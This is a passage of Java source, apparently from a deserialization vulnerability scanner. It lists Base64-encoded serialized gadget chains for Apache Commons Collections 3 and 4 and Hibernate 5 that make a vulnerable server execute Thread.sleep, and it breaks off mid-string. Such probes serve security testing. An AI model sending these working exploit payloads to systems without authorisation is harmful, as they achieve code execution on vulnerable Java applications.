        payloadsSleep.put("Apache Commons Collections 3 Alternate payload 4 (Sleep)", Base64.decodeBase64("rO0ABXNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAACHcIAAAACwAAAAJzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEGphdmEubGFuZy5UaHJlYWQAAAAAAAAAAAAAAHhwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AAVzbGVlcHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAARsb25nAAAAAAAAAAAAAAB4cHQACWdldE1ldGhvZHVxAH4AFwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABdzcQB+AA91cQB+ABQAAAACdXEAfgAXAAAAAXEAfgAadXEAfgAUAAAAAXNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAnEHQABmludm9rZXVxAH4AFwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ABRzcQB+AApzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHEAfgAlAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAACeXlxAH4ALnh4cQB+AC5zcQB+AAJxAH4AB3NxAH4ALz9AAAAAAAAMdwgAAAAQAAAAAXQAAnpacQB+AC54eHNxAH4ALQAAAAJ4"));
        payloadsSleep.put("Apache Commons Collections 4 (Sleep)", Base64.decodeBase64("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGPMr+ur4AAAAyADMHADEBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQHAAQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHABkBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhAQAMSW5uZXJDbGFzc2VzBwAnAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAg8Y2xpbml0PgEAEGphdmEvbGFuZy9UaHJlYWQHACoBAAVzbGVlcAEABChKKVYMACwALQoAKwAuAQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjI2NzM5NDI0NzM0MDY0NgEAIEx5c29zZXJpYWwvUHduZXIyNjczOTQyNDczNDA2NDY7ACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgAEAAEADAANAAEADgAAAC8AAQABAAAABSq3AA+xAAAAAgARAAAABgABAAAAJQASAAAADAABAAAABQATADIAAAABABUAFgACABcAAAAEAAEAGAAOAAAAPwAAAAMAAAABsQAAAAIAEQAAAAYAAQAAACgAEgAAACAAAwAAAAEAEwAyAAAAAAABABoAGwABAAAAAQAcAB0AAgABABUAHgACABcAAAAEAAEAGAAOAAAASQAAAAQAAAABsQAAAAIAEQAAAAYAAQAAACsAEgAAACoABAAAAAEAEwAyAAAAAAABABoAGwABAAAAAQAfACAAAgAAAAEAIQAiAAMACAApAA0AAQAOAAAAIgADAAIAAAANpwADAUwRJxCFuAAvsQAAAAEAMAAAAAMAAQMAAgAjAAAAAgAkACUAAAAKAAEAAQAmACgACXVxAH4AGAAAAdTK/rq+AAAAMgAbBwACAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28HAAQBABBqYXZhL2xhbmcvT2JqZWN0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAGQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAANGb28AIQABAAMAAQAFAAEAGgAHAAgAAQAJAAAAAgAKAAEAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAD7EAAAACABEAAAAGAAEAAAAvABIAAAAMAAEAAAAFABMAFAAAAAIAFQAAAAIAFgAXAAAACgABAAEAGAAaAAlwdAAEUHducnB3AQB4c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4"));
        payloadsSleep.put("Apache Commons Collections 4 Alternate payload (Sleep)", Base64.decodeBase64("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAP29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H+khtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAUTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABjzK/rq+AAAAMgAzBwAxAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkBwAEAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAZAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAJwEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAIPGNsaW5pdD4BABBqYXZhL2xhbmcvVGhyZWFkBwAqAQAFc2xlZXABAAQoSilWDAAsAC0KACsALgEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyNjc0MTE5NDQxNzA2MDEBACBMeXNvc2VyaWFsL1B3bmVyMjY3NDExOTQ0MTcwNjAxOwAhAAEAAwABAAUAAQAaAAcACAABAAkAAAACAAoABAABAAwADQABAA4AAAAvAAEAAQAAAAUqtwAPsQAAAAIAEQAAAAYAAQAAACUAEgAAAAwAAQAAAAUAEwAyAAAAAQAVABYAAgAXAAAABAABABgADgAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAAoABIAAAAgAAMAAAABABMAMgAAAAAAAQAaABsAAQAAAAEAHAAdAAIAAQAVAB4AAgAXAAAABAABABgADgAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAArABIAAAAqAAQAAAABABMAMgAAAAAAAQAaABsAAQAAAAEAHwAgAAIAAAABACEAIgADAAgAKQANAAEADgAAACIAAwACAAAADacAAwFMEScQhbgAL7EAAAABADAAAAADAAEDAAIAIwAAAAIAJAAlAAAACgABAAEAJgAoAAl1cQB+AB8AAAHUyv66vgAAADIAGwcAAgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vBwAEAQAQamF2YS9sYW5nL09iamVjdAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEBAAxJbm5lckNsYXNzZXMHABkBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQADRm9vACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgABAAEADAANAAEADgAAAC8AAQABAAAABSq3AA+xAAAAAgARAAAABgABAAAALwASAAAADAABAAAABQATABQAAAACABUAAAACABYAFwAAAAoAAQABABgAGgAJcHQABFB3bnJwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB3BAAAAANzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXEAfgApeA=="));
        payloadsSleep.put("Hibernate 5 (Sleep)", Base64.decodeBase64("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAI29yZy5oaWJlcm5hdGUuZW5naW5lLnNwaS5UeXBlZFZhbHVlh4gUshmh5zwCAAJMAAR0eXBldAAZTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO0wABXZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAgb3JnLmhpYmVybmF0ZS50eXBlLkNvbXBvbmVudFR5cGV-e2Nh9AnXEQIADVoAEmhhc05vdE51bGxQcm9wZXJ0eVoABWlzS2V5SQAMcHJvcGVydHlTcGFuTAAPY2FuRG9FeHRyYWN0aW9udAATTGphdmEvbGFuZy9Cb29sZWFuO1sAB2Nhc2NhZGV0AChbTG9yZy9oaWJlcm5hdGUvZW5naW5lL3NwaS9DYXNjYWRlU3R5bGU7TAARY29tcG9uZW50VHVwbGl6ZXJ0ADFMb3JnL2hpYmVybmF0ZS90dXBsZS9jb21wb25lbnQvQ29tcG9uZW50VHVwbGl6ZXI7TAAKZW50aXR5TW9kZXQAGkxvcmcvaGliZXJuYXRlL0VudGl0eU1vZGU7WwALam9pbmVkRmV0Y2h0ABpbTG9yZy9oaWJlcm5hdGUvRmV0Y2hNb2RlO1sADXByb3BlcnR5TmFtZXN0ABNbTGphdmEvbGFuZy9TdHJpbmc7WwATcHJvcGVydHlOdWxsYWJpbGl0eXQAAltaWwANcHJvcGVydHlUeXBlc3QAGltMb3JnL2hpYmVybmF0ZS90eXBlL1R5cGU7WwAhcHJvcGVydHlWYWx1ZUdlbmVyYXRpb25TdHJhdGVnaWVzdAAmW0xvcmcvaGliZXJuYXRlL3R1cGxlL1ZhbHVlR2VuZXJhdGlvbjtMAAl0eXBlU2NvcGV0ACpMb3JnL2hpYmVybmF0ZS90eXBlL1R5cGVGYWN0b3J5JFR5cGVTY29wZTt4cgAfb3JnLmhpYmVybmF0ZS50eXBlLkFic3RyYWN0VHlwZYdFsKQmRS24AgAAeHAAAAAAAAFwcHNyADNvcmcuaGliZXJuYXRlLnR1cGxlLmNvbXBvbmVudC5Qb2pvQ29tcG9uZW50VHVwbGl6ZXLAqqGhlZ9DmwIABEwADmNvbXBvbmVudENsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAAlvcHRpbWl6ZXJ0ADBMb3JnL2hpYmVybmF0ZS9ieXRlY29kZS9zcGkvUmVmbGVjdGlvbk9wdGltaXplcjtMAAxwYXJlbnRHZXR0ZXJ0ACpMb3JnL2hpYmVybmF0ZS9wcm9wZXJ0eS9hY2Nlc3Mvc3BpL0dldHRlcjtMAAxwYXJlbnRTZXR0ZXJ0ACpMb3JnL2hpYmVybmF0ZS9wcm9wZXJ0eS9hY2Nlc3Mvc3BpL1NldHRlcjt4cgA3b3JnLmhpYmVybmF0ZS50dXBsZS5jb21wb25lbnQuQWJzdHJhY3RDb21wb25lbnRUdXBsaXplcgh6nmX_Q4R7AgAFWgASaGFzQ3VzdG9tQWNjZXNzb3JzSQAMcHJvcGVydHlTcGFuWwAHZ2V0dGVyc3QAK1tMb3JnL2hpYmVybmF0ZS9wcm9wZXJ0eS9hY2Nlc3Mvc3BpL0dldHRlcjtMAAxpbnN0YW50aWF0b3J0ACJMb3JnL2hpYmVybmF0ZS90dXBsZS9JbnN0YW50aWF0b3I7WwAHc2V0dGVyc3QAK1tMb3JnL2hpYmVybmF0ZS9wcm9wZXJ0eS9hY2Nlc3Mvc3BpL1NldHRlcjt4cAAAAAAAdXIAK1tMb3JnLmhpYmVybmF0ZS5wcm9wZXJ0eS5hY2Nlc3Muc3BpLkdldHRlcjsmhfgDST23zwIAAHhwAAAAAXNyAD1vcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyTWV0aG9kSW1wbCRTZXJpYWxGb3JtrFu2VsndG1gCAARMAA5jb250YWluZXJDbGFzc3EAfgAUTAAOZGVjbGFyaW5nQ2xhc3NxAH4AFEwACm1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMAAxwcm9wZXJ0eU5hbWVxAH4AIHhwdnIAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMACUkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFoAFV91c2VTZXJ2aWNlc01lY2hhbmlzbUwAGV9hY2Nlc3NFeHRlcm5hbFN0eWxlc2hlZXRxAH4AIEwAC19hdXhDbGFzc2VzdAA7TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0hhc2h0YWJsZTtbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4AIEwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwcQB-ACd0ABNnZXRPdXRwdXRQcm9wZXJ0aWVzdAAEdGVzdHBwcHBwcHBwcHB1cgAaW0xvcmcuaGliZXJuYXRlLnR5cGUuVHlwZTt-r6uh5JVhmgIAAHhwAAAAAXEAfgAScHBzcQB-ACIAAAAA_____wB0AANhbGxwdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX-AYIVOACAAB4cAAABiXK_rq-AAAAMQAyBwAwAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkBwAEAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk_OR3e8-AQAGPGluaXQ-AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAZAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAJwEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAIPGNsaW5pdD4BABBqYXZhL2xhbmcvVGhyZWFkBwAqAQAFc2xlZXABAAQoSilWDAAsAC0KACsALgEAH3lzb3NlcmlhbC9Qd25lcjIzNzU0MjU1MzE4ODA2MDABACFMeXNvc2VyaWFsL1B3bmVyMjM3NTQyNTUzMTg4MDYwMDsAIQABAAMAAQAFAAEAGgAHAAgAAQAJAAAAAgAKAAQAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAD7EAAAACABEAAAAGAAEAAAAuABIAAAAMAAEAAAAFABMAMQAAAAEAFQAWAAIAFwAAAAQAAQAYAA4AAAA_AAAAAwAAAAGxAAAAAgARAAAABgABAAAAMwASAAAAIAADAAAAAQATADEAAAAAAAEAGgAbAAEAAAABABwAHQACAAEAFQAeAAIAFwAAAAQAAQAYAA4AAABJAAAABAAAAAGxAAAAAgARAAAABgABAAAANwASAAAAKgAEAAAAAQATADEAAAAAAAEAGgAbAAEAAAABAB8AIAACAAAAAQAhACIAAwAIACkADQABAA4AAAAZAAMAAgAAAA2nAAMBTBEnEIW4AC-xAAAAAAACACMAAAACACQAJQAAAAoAAQABACYAKAAJdXEAfgAwAAAB1Mr-ur4AAAAxABsHAAIBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwcABAEAEGphdmEvbGFuZy9PYmplY3QHAAYBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUKAAMAEAwADAANAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhY